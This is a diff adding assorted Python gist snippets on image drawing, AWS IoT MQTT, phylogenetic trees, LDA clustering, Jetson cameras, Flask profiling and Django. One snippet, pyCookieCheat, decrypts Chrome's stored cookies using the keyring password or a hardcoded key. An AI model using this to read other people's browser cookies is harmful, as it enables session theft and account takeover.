+def diagonalLineImage(inLength = 200, inColors = ('blue', 'ivory')):
+    imageLength = inLength + 100  # the image can be larger than what you draw
+    theImage = Image.new('RGBA', (imageLength, imageLength), inColors[1])
+    draw = ImageDraw.Draw(theImage)
+    draw.line((0, 0, inLength, inLength), fill = inColors[0])
+    del draw
+    return theImage
+
+class DiagonalLineLayer(scene.Layer):
+    def __init__(self):
+        theImage = diagonalLineImage()
+        theRect = scene.Rect(0, 0, *theImage.size)
+        super(self.__class__, self).__init__(theRect)
+        self.image = scene.load_pil_image(theImage)
+
+class DiagonalLineScene(scene.Scene):
+    def __init__(self):
+        scene.run(self)
+
+    def setup(self):
+        self.layer = DiagonalLineLayer()
+        self.add_layer(self.layer)
+        self.layer.frame.center(self.bounds.center())
+
+    def draw(self):
+        scene.background(0.7, 0.7, 0.7)
+        self.root_layer.update(self.dt)
+        self.root_layer.draw()
+
+DiagonalLineScene()
\ No newline at end of file
diff --git a/hard-gists/8684968ebacb5522c86a/._snippet.py b/hard-gists/8684968ebacb5522c86a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8684968ebacb5522c86a/._snippet.py differ
diff --git a/hard-gists/8684968ebacb5522c86a/snippet.py b/hard-gists/8684968ebacb5522c86a/snippet.py
new file mode 100644
index 00000000..0f67dc13
--- /dev/null
+++ b/hard-gists/8684968ebacb5522c86a/snippet.py
@@ -0,0 +1,45 @@
+#!/usr/bin/python3
+
+#required libraries
+import sys                                 
+import ssl
+import paho.mqtt.client as mqtt
+
+#called while client tries to establish connection with the server 
+def on_connect(mqttc, obj, flags, rc):
+    if rc==0:
+        print ("Subscriber Connection status code: "+str(rc)+" | Connection status: successful")
+    elif rc==1:
+        print ("Subscriber Connection status code: "+str(rc)+" | Connection status: Connection refused")
+
+#called when a topic is successfully subscribed to
+def on_subscribe(mqttc, obj, mid, granted_qos):
+    print("Subscribed: "+str(mid)+" "+str(granted_qos)+"data"+str(obj))
+
+#called when a message is received by a topic
+def on_message(mqttc, obj, msg):
+    print("Received message from topic: "+msg.topic+" | QoS: "+str(msg.qos)+" | Data Received: "+str(msg.payload))
+
+#creating a client with client-id=mqtt-test
+mqttc = mqtt.Client(client_id="mqtt-test")
+
+mqttc.on_connect = on_connect
+mqttc.on_subscribe = on_subscribe
+mqttc.on_message = on_message
+
+#Configure network encryption and authentication options. Enables SSL/TLS support.
+#adding client-side certificates and enabling tlsv1.2 support as required by aws-iot service
+mqttc.tls_set("/home/username/root-CA.crt",
+	            certfile="/home/username/6fdda68178-certificate.pem.crt",
+	            keyfile="/home/username/6fdda68178-private.pem.key",
+              tls_version=ssl.PROTOCOL_TLSv1_2, 
+              ciphers=None)
+
+#connecting to aws-account-specific-iot-endpoint
+mqttc.connect("A2DL8ZE59089FKF.iot.us-west-2.amazonaws.com", port=8883) #AWS IoT service hostname and portno
+
+#the topic to publish to
+mqttc.subscribe("$aws/things/mqtt-listener/shadow/update/#", qos=1) #The names of these topics start with $aws/things/thingName/shadow."
+
+#automatically handles reconnecting
+mqttc.loop_forever()
diff --git a/hard-gists/868b1057d9c0b72a57b809a67ad6e4cc/._snippet.py b/hard-gists/868b1057d9c0b72a57b809a67ad6e4cc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/868b1057d9c0b72a57b809a67ad6e4cc/._snippet.py differ
diff --git a/hard-gists/868b1057d9c0b72a57b809a67ad6e4cc/snippet.py b/hard-gists/868b1057d9c0b72a57b809a67ad6e4cc/snippet.py
new file mode 100644
index 00000000..c7cc787a
--- /dev/null
+++ b/hard-gists/868b1057d9c0b72a57b809a67ad6e4cc/snippet.py
@@ -0,0 +1,85 @@
+from collections import defaultdict
+from ete3 import PhyloTree, TreeStyle, SeqMotifFace, TextFace, RectFace
+
+alg = """
+>Dme_001
+MAEIPDETIQQFMALT---HNIAVQYLSEFGDLNEAL--YYASQTDDIKDRREEAH
+>Dme_002
+MAEIPDATIQQFMALTNVSHNIAVQY--EFGDLNEALNSYYAYQTDDQKDRREEAH
+>Cfa_001
+MAEIPDATIQ---ALTNVSHNIAVQYLSEFGDLNEALNSYYASQTDDQPDRREEAH
+>Mms_001
+MAEAPDETIQQFMALTNVSHNIAVQYLSEFGDLNEAL--------------REEAH
+>Hsa_001
+MAEIPDETIQQFMALT---HNIAVQYLSEFGDLNEALNSYYASQTDDIKDRREEAH
+>Ptr_002
+MAEIPDATIQ-FMALTNVSHNIAVQY--EFGDLNEALNSY--YQTDDQKDRREEAH
+>Mmu_002
+MAEIPDATIQ---ALTNVSHNIAVQYLSEFGDLNEALNSYYASQTDDQPDRREEAH
+>Hsa_002
+MAEAPDETIQQFM-LTNVSHNIAVQYLSEFGDLNEAL--------------REEAH
+>Ptr_001
+MAEIPDATIQ-FMALTNVSHNIAVQY--EFGDLNEALNSY--YQTDDQKDRREEAH
+>Mmu_001
+MAEIPDTTIQ---ALTNVSHNIAVQYLSEFGDLNEALNSYYASQTDDQPDRREEAH
+"""
+
+def mutation_columns(sequences):
+    col2diffs = defaultdict(set)
+    alg_length = len(sequences[0])
+    for col in xrange(alg_length):
+        for seq in sequences:
+            col2diffs[col].add(seq[col])
+        col2diffs[col].discard('-')
+    subseqs = set()
+    relevant_columns = []
+    for col in xrange(alg_length):
+        if len(col2diffs[col]) > 1:
+            relevant_columns.append(col)
+    for seq in sequences:
+        subseqs.add(''.join([seq[col] for col in relevant_columns]))
+
+    return subseqs, relevant_columns
+
+def get_example_tree():
+    # Performs a tree reconciliation analysis
+    gene_tree_nw = '((Dme_001,Dme_002),(((Cfa_001,Mms_001),((Hsa_001,Ptr_001),Mmu_001)),(Ptr_002,(Hsa_002,Mmu_002))));'
+    t = PhyloTree(gene_tree_nw)
+    ts = TreeStyle()
+    # disable default PhyloTree Layout
+    ts.layout_fn = lambda x: True
+
+    t.link_to_alignment(alg)
+    node2content = t.get_cached_content()
+    for node in t.traverse():
+        node.img_style["size"] = 0
+
+        if not node.is_leaf():
+            leaves = node2content[node]
+            # get columns with different aa
+            subseqs, relevant_columns  = mutation_columns([lf.sequence for lf in leaves])
+            for seq in subseqs:
+                f = SeqMotifFace(seq, seq_format="seq", width=10, height=8)
+                f.margin_top = 2
+                f.margin_right = 6
+                node.add_face(f, column=0, position="branch-bottom")
+            for j, col in enumerate(relevant_columns):
+                col_f = RectFace(10, 10, fgcolor=None, bgcolor=None,
+                                 label={"text":str(col), "fonttype":"Courier", "color":"black", "fontsize":6})
+                node.add_face(col_f, column=j, position="branch-top")
+                col_f.margin_bottom = 2
+        else:
+            f = SeqMotifFace(node.sequence, seq_format="seq", width=6)
+            node.add_face(f, column=0, position="aligned")
+
+    alg_length = len(lf.sequence)
+    ts.draw_aligned_faces_as_table = False
+    for colnum in xrange(alg_length):
+        col_f = RectFace(10, 10, fgcolor=None, bgcolor=None,
+                         label={"text":str(colnum), "fonttype":"Courier", "color":"black", "fontsize":6})
+        ts.aligned_header.add_face(col_f, column=colnum)
+    return t, ts
+
+if __name__ == "__main__":
+    t, ts = get_example_tree()
+    t.show(tree_style=ts)
\ No newline at end of file
diff --git a/hard-gists/8691435/._snippet.py b/hard-gists/8691435/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8691435/._snippet.py differ
diff --git a/hard-gists/8691435/snippet.py b/hard-gists/8691435/snippet.py
new file mode 100644
index 00000000..6965df31
--- /dev/null
+++ b/hard-gists/8691435/snippet.py
@@ -0,0 +1,131 @@
+import os
+import json
+import shutil
+from subprocess import call
+import cld
+
+def read_json(file_path):
+    json_data = open(file_path)
+    data = json.load(json_data)
+    return data
+
+def get_desc(file_path):
+    data = read_json(file_path)
+    description = data['extendedInfo']['description']
+    return description.encode('ascii', errors='ignore') # FIXME: workaround
+
+def get_desc_from_folder(folder_path, desc_count=1000):
+    name_desc_pairs = {}
+    count = desc_count
+    for root, dirs, files in os.walk(folder_path):
+        for file in files:
+            if file.endswith(".json"):
+                if len(name_desc_pairs) < count:
+                    # FIXME: unicode error \xc3\xa2\xc2\x99\xc2\xa3
+                    desc = get_desc(os.path.join(root, file))
+                    desc_utf8 = desc.encode('utf-8')
+                    if len(desc) > 1000:
+                        lang = cld.detect(desc_utf8)
+                        if lang[1] == 'en' and len(lang[4]) == 1:
+                            name_desc_pairs[file] = desc
+    return name_desc_pairs
+
+folder_path = "data_google_play"
+if not os.path.exists(folder_path):
+    call(["git", "clone", "https://github.com/sangheestyle/data_google_play.git"])
+
+name_desc_pairs = get_desc_from_folder(folder_path)
+documents = name_desc_pairs.values()
+
+from nltk.tokenize import RegexpTokenizer
+from nltk.corpus import stopwords
+from nltk.stem.lancaster import LancasterStemmer
+from nltk.cluster import KMeansClusterer, euclidean_distance
+from gensim import corpora, models, utils
+from numpy import array
+
+# Step 1:
+# override LdaModel for changing output format
+# from [(topicid, topicvalue)] to [topicvalue] due to format of KMeansClusterer
+class MyLdaModel(models.ldamodel.LdaModel):
+    def __getitem__(self, bow, eps=0.01):
+        is_corpus, corpus = utils.is_corpus(bow)
+        if is_corpus:
+            return self._apply(corpus)
+
+        gamma, _ = self.inference([bow])
+        topic_dist = gamma[0] / sum(gamma[0]) # normalize to proper distribution
+        return [topicvalue for topicid, topicvalue in enumerate(topic_dist)]
+                # FIXME: if topicvalue >= eps]
+
+# Step 2: removing whitespaces, punctuations, stopwords, and stemming words
+processed = []
+for document in documents:
+    tokenizer = RegexpTokenizer(r'\w+')
+    intermediate = tokenizer.tokenize(document)
+    stop = stopwords.words('english')
+    intermediate = [i for i in intermediate if i not in stop]
+    # FIXME: using other stemmers also to know quality of each stemmed text
+    lanste = LancasterStemmer()
+    intermediate = [lanste.stem(i) for i in intermediate]
+    processed.append(intermediate)
+
+# Step 3
+# making dictionary and corpus
+dictionary = corpora.Dictionary(processed)
+#dictionary.save('/tmp/dict.dict')
+corpus = [dictionary.doc2bow(description) for description in processed]
+#corpora.MmCorpus.serialize('/tmp/temp.mm', corpus)
+
+# Step 4: LDA
+num_topics = 5
+model_lda = MyLdaModel(corpus, id2word=dictionary, num_topics=num_topics)
+doc_lda = model_lda[corpus]
+
+'''
+for doc in doc_lda:
+    print doc
+'''
+
+# Step 5: k-means clustering
+vectors = [array(f) for f in doc_lda]
+clusterer = KMeansClusterer(num_topics, euclidean_distance, repeats=100, avoid_empty_clusters=True)
+clusterer.cluster(vectors, True)
+
+apps_per_topic = []
+for x in range(num_topics):
+    apps_per_topic.append([])
+
+# classify a new vector
+apk_names = name_desc_pairs.keys()
+for i, doc in enumerate(doc_lda):
+  topic_id = clusterer.classify(array(doc))
+  apps_per_topic[topic_id].append(apk_names[i])
+
+# Step 6: make text for each topic
+text_for_topics = []
+for x in range(num_topics):
+    text_for_topics.append('')
+
+apkname_stem_pairs = dict(zip(name_desc_pairs.keys(), processed))
+for topic_id, names in enumerate(apps_per_topic):
+    for name in names:
+        # FIXME: there have two options for word cloud 1) pure descriptions 2) using stem processed
+        # text_for_topics[topic_id] = text_for_topics[topic_id] + " " + name_desc_pairs[name]
+        text = " ".join(apkname_stem_pairs[name])
+        text_for_topics[topic_id] = text_for_topics[topic_id] + text
+
+output_path = "out"
+if os.path.exists(output_path):
+    shutil.rmtree(output_path)
+
+os.mkdir(output_path)
+
+for topic_id, text_for_topic in enumerate(text_for_topics):
+    file_name = "topic-" + str(topic_id) + ".txt"
+    text_file = open(os.path.join(output_path, file_name), "w")
+    text_file.write(text_for_topic)
+    text_file.close()
+
+# Step 7: word cloud - TBD
+# FIXME: need to implement or just using http://www.wordle.net temporary
\ No newline at end of file
diff --git a/hard-gists/86b60a7723b97da19f7bfa3cb7d2690e/._snippet.py b/hard-gists/86b60a7723b97da19f7bfa3cb7d2690e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/86b60a7723b97da19f7bfa3cb7d2690e/._snippet.py differ
diff --git a/hard-gists/86b60a7723b97da19f7bfa3cb7d2690e/snippet.py b/hard-gists/86b60a7723b97da19f7bfa3cb7d2690e/snippet.py
new file mode 100644
index 00000000..34057a65
--- /dev/null
+++ b/hard-gists/86b60a7723b97da19f7bfa3cb7d2690e/snippet.py
@@ -0,0 +1,125 @@
+# --------------------------------------------------------
+# Camera sample code for Tegra X2/X1
+#
+# This program could capture and display video from
+# IP CAM, USB webcam, or the Tegra onboard camera.
+# Refer to the following blog post for how to set up
+# and run the code:
+#   https://jkjung-avt.github.io/tx2-camera-with-python/
+#
+# Written by JK Jung <jkjung13@gmail.com>
+# --------------------------------------------------------
+
+import sys
+import argparse
+import cv2
+import numpy as np
+
+windowName = "CameraDemo"
+
+def parse_args():
+    """
+    Parse input arguments
+    """
+    parser = argparse.ArgumentParser(description=
+                                     "Capture and display live camera video on Jetson TX2/TX1")
+    parser.add_argument("--rtsp", dest="use_rtsp",
+                        help="use IP CAM (remember to also set --uri)",
+                        action="store_true")
+    parser.add_argument("--uri", dest="rtsp_uri",
+                        help="RTSP URI string, e.g. rtsp://192.168.1.64:554",
+                        default=None, type=str)
+    parser.add_argument("--latency", dest="rtsp_latency",
+                        help="latency in ms for RTSP [200]",
+                        default=200, type=int)
+    parser.add_argument("--usb", dest="use_usb",
+                        help="use USB webcam (remember to also set --vid)",
+                        action="store_true")
+    parser.add_argument("--vid", dest="video_dev",
+                        help="video device # of USB webcam (/dev/video?) [1]",
+                        default=1, type=int)
+    parser.add_argument("--width", dest="image_width",
+                        help="image width [1920]",
+                        default=1920, type=int)
+    parser.add_argument("--height", dest="image_height",
+                        help="image width [1080]",
+                        default=1080, type=int)
+    args = parser.parse_args()
+    return args
+
+def open_cam_rtsp(uri, width, height, latency):
+    gst_str = ("rtspsrc location={} latency={} ! rtph264depay ! h264parse ! omxh264dec ! "
+               "nvvidconv ! video/x-raw, width=(int){}, height=(int){}, format=(string)BGRx ! "
+               "videoconvert ! appsink").format(uri, latency, width, height)
+    return cv2.VideoCapture(gst_str, cv2.CAP_GSTREAMER)
+
+def open_cam_usb(dev, width, height):
+    # We want to set width and height here, otherwise we could just do:
+    #     return cv2.VideoCapture(dev)
+    gst_str = ("v4l2src device=/dev/video{} ! "
+               "video/x-raw, width=(int){}, height=(int){}, format=(string)RGB ! "
+               "videoconvert ! appsink").format(dev, width, height)
+    return cv2.VideoCapture(gst_str, cv2.CAP_GSTREAMER)
+
+def open_cam_onboard(width, height):
+    # On versions of L4T previous to L4T 28.1, flip-method=2
+    # Use Jetson onboard camera
+    gst_str = ("nvcamerasrc ! "
+               "video/x-raw(memory:NVMM), width=(int)2592, height=(int)1458, format=(string)I420, framerate=(fraction)30/1 ! "
+               "nvvidconv ! video/x-raw, width=(int){}, height=(int){}, format=(string)BGRx ! "
+               "videoconvert ! appsink").format(width, height)
+    return cv2.VideoCapture(gst_str, cv2.CAP_GSTREAMER)
+
+def open_window(windowName, width, height):
+    cv2.namedWindow(windowName, cv2.WINDOW_NORMAL)
+    cv2.resizeWindow(windowName, width, height)
+    cv2.moveWindow(windowName, 0, 0)
+    cv2.setWindowTitle(windowName, "Camera Demo for Jetson TX2/TX1")
+
+def read_cam(windowName, cap):
+    showHelp = True
+    showFullScreen = False
+    helpText = "'Esc' to Quit, 'H' to Toggle Help, 'F' to Toggle Fullscreen"
+    font = cv2.FONT_HERSHEY_PLAIN
+    while True:
+        if cv2.getWindowProperty(windowName, 0) < 0: # Check to see if the user closed the window
+            # This will fail if the user closed the window; Nasties get printed to the console
+            break;
+        ret_val, displayBuf = cap.read();
+        if showHelp == True:
+            cv2.putText(displayBuf, helpText, (11,20), font, 1.0, (32,32,32), 4, cv2.LINE_AA)
+            cv2.putText(displayBuf, helpText, (10,20), font, 1.0, (240,240,240), 1, cv2.LINE_AA)
+        cv2.imshow(windowName, displayBuf)
+        key = cv2.waitKey(10)
+        if key == 27: # ESC key: quit program
+            break
+        elif key == ord('H') or key == ord('h'): # toggle help message
+            showHelp = not showHelp
+        elif key == ord('F') or key == ord('f'): # toggle fullscreen
+            showFullScreen = not showFullScreen
+            if showFullScreen == True: 
+                cv2.setWindowProperty(windowName, cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)
+            else:
+                cv2.setWindowProperty(windowName, cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_NORMAL) 
+
+if __name__ == "__main__":
+    args = parse_args()
+    print("Called with args:")
+    print(args)
+    print("OpenCV version: {}".format(cv2.__version__))
+
+    if args.use_rtsp:
+        cap = open_cam_rtsp(args.rtsp_uri, args.image_width, args.image_height, args.rtsp_latency)
+    elif args.use_usb:
+        cap = open_cam_usb(args.video_dev, args.image_width, args.image_height)
+    else: # by default, use the Jetson onboard camera
+        cap = open_cam_onboard(args.image_width, args.image_height)
+
+    if not cap.isOpened():
+        sys.exit("Failed to open camera!")
+
+    open_window(windowName, args.image_width, args.image_height)
+    read_cam(windowName, cap)
+    
+    cap.release()
+    cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/86b74ae47719a27bbb25/._snippet.py b/hard-gists/86b74ae47719a27bbb25/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/86b74ae47719a27bbb25/._snippet.py differ
diff --git a/hard-gists/86b74ae47719a27bbb25/snippet.py b/hard-gists/86b74ae47719a27bbb25/snippet.py
new file mode 100644
index 00000000..9c6ce1dd
--- /dev/null
+++ b/hard-gists/86b74ae47719a27bbb25/snippet.py
@@ -0,0 +1,17 @@
+"""
+This module provides a simple WSGI profiler middleware for finding 
+bottlenecks in web application. It uses the profile or cProfile 
+module to do the profiling and writes the stats to the stream provided
+
+To use, run `flask_profiler.py` instead of `app.py`
+
+see: http://werkzeug.pocoo.org/docs/0.9/contrib/profiler/
+and: http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-xvi-debugging-testing-and-profiling
+"""
+
+from werkzeug.contrib.profiler import ProfilerMiddleware
+from app import app
+
+app.config['PROFILE'] = True
+app.wsgi_app = ProfilerMiddleware(app.wsgi_app, restrictions = [30])
+app.run(debug = True)
\ No newline at end of file
diff --git a/hard-gists/8715089/._snippet.py b/hard-gists/8715089/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8715089/._snippet.py differ
diff --git a/hard-gists/8715089/snippet.py b/hard-gists/8715089/snippet.py
new file mode 100644
index 00000000..a3c81aa1
--- /dev/null
+++ b/hard-gists/8715089/snippet.py
@@ -0,0 +1,111 @@
+#! /usr/bin/env python3
+'''pyCookieCheat.py
+2015022 Now its own GitHub repo, and in PyPi. 
+    - For most recent version: https://github.com/n8henrie/pycookiecheat
+    - This gist unlikely to be maintained further for that reason.
+20150221 v2.0.1: Now should find cookies for base domain and all subs.
+20140518 v2.0: Now works with Chrome's new encrypted cookies.
+
+See relevant post at http://n8h.me/HufI1w
+
+Use your browser's cookies to make grabbing data from login-protected sites easier.
+Intended for use with Python Requests http://python-requests.org
+
+Accepts a URL from which it tries to extract a domain. If you want to force the domain,
+just send it the domain you'd like to use instead.
+
+Intended use with requests:
+    import requests
+    import pyCookieCheat
+
+    url = 'http://www.example.com'
+
+    s = requests.Session()
+    cookies = pyCookieCheat.chrome_cookies(url)
+    s.get(url, cookies = cookies)
+
+Adapted from my code at http://n8h.me/HufI1w
+
+Helpful Links:
+* Chromium Mac os_crypt: http://n8h.me/QWRgK8
+* Chromium Linux os_crypt: http://n8h.me/QWTglz
+* Python Crypto: http://n8h.me/QWTqte
+'''
+
+import sqlite3
+import os.path
+import urllib.parse
+import keyring
+import sys
+from Crypto.Cipher import AES
+from Crypto.Protocol.KDF import PBKDF2
+
+def chrome_cookies(url):
+
+    salt = b'saltysalt'
+    iv = b' ' * 16
+    length = 16
+
+    def chrome_decrypt(encrypted_value, key=None):
+
+        # Encrypted cookies should be prefixed with 'v10' according to the
+        # Chromium code. Strip it off.
+        encrypted_value = encrypted_value[3:]
+
+        # Strip padding by taking off number indicated by padding
+        # eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
+        # You'll need to change this function to use ord() for python2.
+        def clean(x):
+            return x[:-x[-1]].decode('utf8')
+
+        cipher = AES.new(key, AES.MODE_CBC, IV=iv)
+        decrypted = cipher.decrypt(encrypted_value)
+
+        return clean(decrypted)
+
+    # If running Chrome on OSX
+    if sys.platform == 'darwin':
+        my_pass = keyring.get_password('Chrome Safe Storage', 'Chrome')
+        my_pass = my_pass.encode('utf8')
+        iterations = 1003
+        cookie_file = os.path.expanduser(
+            '~/Library/Application Support/Google/Chrome/Default/Cookies'
+        )
+
+    # If running Chromium on Linux
+    elif sys.platform == 'linux':
+        my_pass = 'peanuts'.encode('utf8')
+        iterations = 1
+        cookie_file = os.path.expanduser(
+            '~/.config/chromium/Default/Cookies'
+        )
+    else:
+        raise Exception("This script only works on OSX or Linux.")
+
+    # Generate key from values above
+    key = PBKDF2(my_pass, salt, length, iterations)
+
+    # Part of the domain name that will help the sqlite3 query pick it from the Chrome cookies
+    domain = urllib.parse.urlparse(url).netloc
+    domain_no_sub = '.'.join(domain.split('.')[-2:])
+
+    conn = sqlite3.connect(cookie_file)
+    sql = 'select name, value, encrypted_value from cookies '\
+            'where host_key like "%{}%"'.format(domain_no_sub)
+
+    cookies = {}
+    cookies_list = []
+
+    with conn:
+        for k, v, ev in conn.execute(sql):
+
+            # if there is a not encrypted value or if the encrypted value
+            # doesn't start with the 'v10' prefix, return v
+            if v or (ev[:3] != b'v10'):
+                cookies_list.append((k, v))
+            else:
+                decrypted_tuple = (k, chrome_decrypt(ev, key=key))
+                cookies_list.append(decrypted_tuple)
+        cookies.update(cookies_list)
+
+    return cookies
diff --git a/hard-gists/871567/._snippet.py b/hard-gists/871567/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/871567/._snippet.py differ
diff --git a/hard-gists/871567/snippet.py b/hard-gists/871567/snippet.py
new file mode 100644
index 00000000..90a9f113
--- /dev/null
+++ b/hard-gists/871567/snippet.py
@@ -0,0 +1,29 @@
+"""
+Wrapper for loading templates from "templates" directories in INSTALLED_APPS
+packages, prefixed by the appname for namespacing.
+
+This loader finds `appname/templates/index.html` when looking for something
+of the form `appname/index.html`.
+"""
+
+from django.template import TemplateDoesNotExist
+from django.template.loaders.app_directories import app_template_dirs, Loader as BaseAppLoader
+
+class Loader(BaseAppLoader):
+    '''
+    Modified AppDirectory Template Loader that allows namespacing templates
+    with the name of their app, without requiring an extra subdirectory
+    in the form of `appname/templates/appname`.
+    '''
+    def load_template_source(self, template_name, template_dirs=None):
+        try:
+            app_name, template_path = template_name.split('/', 1)
+        except ValueError:
+            raise TemplateDoesNotExist(template_name)
+
+        if not template_dirs:
+            template_dirs = (d for d in app_template_dirs if
+                    d.endswith('/%s/templates' % app_name))
+
+        return iter(super(Loader, self).load_template_source(template_path,
+                template_dirs))
diff --git a/hard-gists/872145/._snippet.py b/hard-gists/872145/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/872145/._snippet.py differ
diff --git a/hard-gists/872145/snippet.py b/hard-gists/872145/snippet.py
new file mode 100644
index 00000000..e235896b
--- /dev/null
+++ b/hard-gists/872145/snippet.py
@@ -0,0 +1,64 @@
+# THIS VERSION IS OUTDATED 
+# see .inplace(), .cloning(), ._clone() and .clone() methods of QuerySetMixin
+# in https://github.com/Suor/django-cacheops/blob/master/cacheops/query.py
+from django.conf import settings
+from django.db.models import Model, Manager
+
+MUTATING_QUERYSETS = getattr(settings, 'MUTATING_QUERYSETS', False)
+
+class QuerySetMixin(object):
+    def __init__(self, *args, **kwargs):
+        self._no_monkey.__init__(self, *args, **kwargs)
+        self._inplace = MUTATING_QUERYSETS
+
+    def inplace(self):
+        self._inplace = True
+        return self
+
+    def _clone(self, klass=None, setup=False, **kwargs):
+        if self._inplace and klass is None:
+            self.__dict__.update(kwargs)
+            return self
+        else:
+            return self._no_monkey._clone(self, klass, setup, **kwargs)
+
+class ManagerMixin(object):
+    def inplace(self):
+        return self.get_query_set().inplace()
+
+
+from inspect import getmembers, ismethod
+
+class MonkeyProxy(object):
+    def __init__(self, cls):
+        monkey_bases = tuple(b._no_monkey for b in cls.__bases__ if hasattr(b, '_no_monkey'))
+        for monkey_base in monkey_bases:
+            for name, value in monkey_base.__dict__.iteritems():
+                setattr(self, name, value)
+
+def monkey_mix(cls, mixin, methods=None):
+    """
+    Mixs in a class to other existing class using monkey patches.
+    Mixin method can call overwritten ones using special proxy object stored in _no_monkey attribute.
+    class SomeMixin(object):
+        def do_smth(self, arg):
+            ... do smth else before
+            self._no_monkey.do_smth(self, arg)
+            ... do smth else after
+    """
+    assert '_no_monkey' not in cls.__dict__, 'Multiple monkey mix not supported'
+    cls._no_monkey = MonkeyProxy(cls)
+
+    if methods is None:
+        methods = getmembers(mixin, ismethod)
+    else:
+        methods = [(m, getattr(mixin, m)) for m in methods]
+
+    for name, method in methods:
+        if hasattr(cls, name):
+            setattr(cls._no_monkey, name, getattr(cls, name))
+        setattr(cls, name, method.im_func)
+
+
+monkey_mix(Manager, ManagerMixin)
+monkey_mix(QuerySet, QuerySetMixin)
\ No newline at end of file
diff --git a/hard-gists/8722026/._snippet.py b/hard-gists/8722026/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8722026/._snippet.py differ
diff --git a/hard-gists/8722026/snippet.py b/hard-gists/8722026/snippet.py
new file mode 100644
index 00000000..3e8787c9
--- /dev/null
+++ b/hard-gists/8722026/snippet.py
@@ -0,0 +1,22 @@
+#! /usr/bin/env python3
+from functools import lru_cache
+from itertools import count, takewhile
+
+numbers = count(1)
+
+MAX = 4000000
+
+@lru_cache(maxsize=None)
+def fib(n) :
+    if n < 3 :
+        return 1
+    else :
+        return fib(n-2) + fib(n-1)
+
+
+fibs = (fib(x) for x in numbers)
+even_fibs = (x for x in fibs if x % 2 == 0)
+
+even_fibs_under_max = takewhile(lambda x : x < MAX, even_fibs)
+
+print(sum(x for x in even_fibs_under_max))
\ No newline at end of file
diff --git a/hard-gists/8736338/._snippet.py b/hard-gists/8736338/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8736338/._snippet.py differ
diff --git a/hard-gists/8736338/snippet.py b/hard-gists/8736338/snippet.py
new file mode 100644
index 00000000..474ac96b
--- /dev/null
+++ b/hard-gists/8736338/snippet.py
@@ -0,0 +1,217 @@
+import sys
+import os
+from collections import defaultdict
+import calc_dists_to_top_of_GO
+import calc_dists_to_top_of_GO_using_bfs
+
+class Error (Exception): pass
+      
+#====================================================================#
+
+# define a function to find the last common ancestor(s) of a pair of GO terms:
+
+def find_lcas_of_pair_of_GO_terms(term1, term2, parents):
+    """find the last common ancestor(s) of a pair of GO terms"""
+    
+    VERBOSE = False
+    
+    # make a set to store the last common ancestor(s) of the pair of GO terms:
+    lcas = set()
+    
+    # calculate a dictionary with the minimum distance from term1 to each ancestor above it in the GO hierarchy (including itself):
+    dist1 = calc_dists_to_top_of_GO_using_bfs.BFS_dist_from_node(term1, parents)
+    # eg. for GO:0001578: {'GO:0008150': 5, 'GO:0009987': 4, 'GO:0001578': 0, 'GO:0071840': 5, 'GO:0000226': 1, 'GO:0044699': 4, 
+    #                      'GO:0044763': 3, 'GO:0007017': 2, 'GO:0006996': 3, 'GO:0016043': 4, 'GO:0007010': 2}
+    
+    # calculate a dictionary with the minimum distance from term2 to each ancestor above it in the GO hierarchy (including itself):
+    dist2 = calc_dists_to_top_of_GO_using_bfs.BFS_dist_from_node(term2, parents)
+    # eg. for GO:0030036: {'GO:0008150': 4, 'GO:0044699': 3, 'GO:0071840': 4, 'GO:0007010': 1, 'GO:0030029': 1, 'GO:0044763': 2, 
+    #                      'GO:0009987': 3, 'GO:0006996': 2, 'GO:0016043': 3, 'GO:0030036': 0}
+    if VERBOSE:
+        print("dist1=", dist1)
+        print("dist2=", dist2)
+        
+    BIGNUM = 9999999999
+    
+    while True:
+        bestnodes = []
+        mindist = BIGNUM
+        
+        # find the set of common ancestors of term1 and term2 (if one is a parent of the other, it will be included in the intersection):
+        common_ancestors = set(dist1.keys()) & set(dist2.keys())
+        # eg. for GO:0001578 and GO:0030036, the first time around the while loop (before deleting any keys from the dist1 and dist2
+        # dictionaries), we find the common ancestors: GO:0008150, GO:0009987, GO:0071840, GO:0044699, GO:0044763, GO:0006996, GO:0016043, GO:0007010
+        if VERBOSE:
+            print("common ancestors=",common_ancestors)
+        
+        # for each common ancestor of term1 and term2, find the distance to to the common ancestor: this is the
+        # sum of the minimum distance from term1 to the ancestor and the minimum distance from term2 to the ancestor:
+        for common_ancestor in common_ancestors:
+            totdist = dist1[common_ancestor] + dist2[common_ancestor]
+            if totdist < mindist: # if this ancestor is closer than the closest ancestor found so far
+                bestnodes = [common_ancestor]
+                mindist = totdist
+            elif totdist == mindist: # this ancestor is as close as the closest ancestor found so far
+                bestnodes.append(common_ancestor) 
+
+        if mindist == BIGNUM: break # this occurs if we didn't find any common ancestor that was closer than BIGNUM
+                                    # eg. this occurs the second time around the loop for GO:0001578 and GO:0030036. We quit then.
+
+        # Add the 'bestnodes' found to the set 'lcas':
+        lcas.update(bestnodes) 
+        
+        if VERBOSE: 
+            print("Common ancestor(s):", bestnodes)
+        # eg. for GO:0001578 and GO:0030036, the first time around the while loop (before deleting any keys from the dist1 and dist2
+        # dictionaries), we find the bestnode to be GO:0007010. The ancestors of GO:0007010 are GO:0006996, GO:0016043, GO:0071840,
+        # GO:0008150, GO0009987, GO:0007010, GO:0044763, GO:0044699.
+
+        # wipe out the distance to the nodes in 'bestnodes' and all their ancestors from the dist1 and dist2 dictionaries:
+        for bestnode in bestnodes:
